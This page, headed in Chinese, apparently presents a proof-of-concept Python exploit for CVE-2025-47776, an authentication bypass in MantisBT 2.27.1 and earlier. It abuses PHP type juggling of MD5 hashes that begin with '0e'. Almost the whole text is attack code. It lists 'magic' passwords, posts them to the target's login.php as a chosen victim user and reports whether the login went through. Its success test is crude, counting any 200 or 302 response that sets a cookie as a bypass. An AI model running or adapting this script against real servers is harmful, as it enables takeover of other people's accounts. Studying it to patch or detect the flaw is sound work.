CVE-2025-47776 MantisBT 2.27.1及以下版本认证绕过漏洞

import hashlib import requests # CVE-2025-47776 PoC - MantisBT Authentication Bypass via PHP Type Juggling # Target: MantisBT <= 2.27.1 with MD5 login method def generate_md5_zero_hash(password): """Generate MD5 hash and check if it's in 0e format (PHP float 0)""" md5_hash = hashlib.md5(password.encode()).hexdigest() if md5_hash.startswith('0e') and md5_hash[2:].isdigit(): return md5_hash return None def find_zero_hash_password(): """Brute force to find a password with MD5 hash evaluating to 0 in PHP""" # Known MD5 hashes that evaluate to 0 in PHP: # 240610708: 0e462097431906509019562988736854 # QLTHNDT: 0e405967825401955372649139804851 # PJNPDWY: 0e291529052894702774557631701704 test_passwords = [ '240610708', 'QLTHNDT', 'PJNPDWY', 'NREIPO', 'WYJNDWN', 'XLEOIPJ', 'DNZRRGHH' ] for pwd in test_passwords: h = generate_md5_zero_hash(pwd) if h: print(f'Found valid password: {pwd} -> MD5: {h}') return pwd return None def exploit_mantisbt(target_url, username, evil_password): """ Exploit authentication bypass If target user has password hash starting with 0e followed by digits, attacker can login with any password that also produces 0e... hash """ login_url = f'{target_url}/login.php' # Step 1: Try to login with the crafted password data = { 'username': username, 'password': evil_password, 'return': '' } session = requests.Session() response = session.post(login_url, data=data, allow_redirects=False) # Check if login successful (look for auth token or success indicator) if response.status_code in [200, 302]: if 'Set-Cookie' in response.headers or 'PHPSESSID' in str(response.cookies): print(f'[+] Authentication bypass successful for user: {username}') return True print('[-] Authentication bypass failed') return False if __name__ == '__main__': target = 'http://vulnerable-mantisbt-server' target_user = 'victim_username' # Find a password with 0e MD5 hash evil_pwd = find_zero_hash_password() if evil_pwd: print(f'[*] Using evil password: {evil_pwd}') exploit_mantisbt(target, target_user, evil_pwd) else: print('[-] No valid 0e hash password found in test set')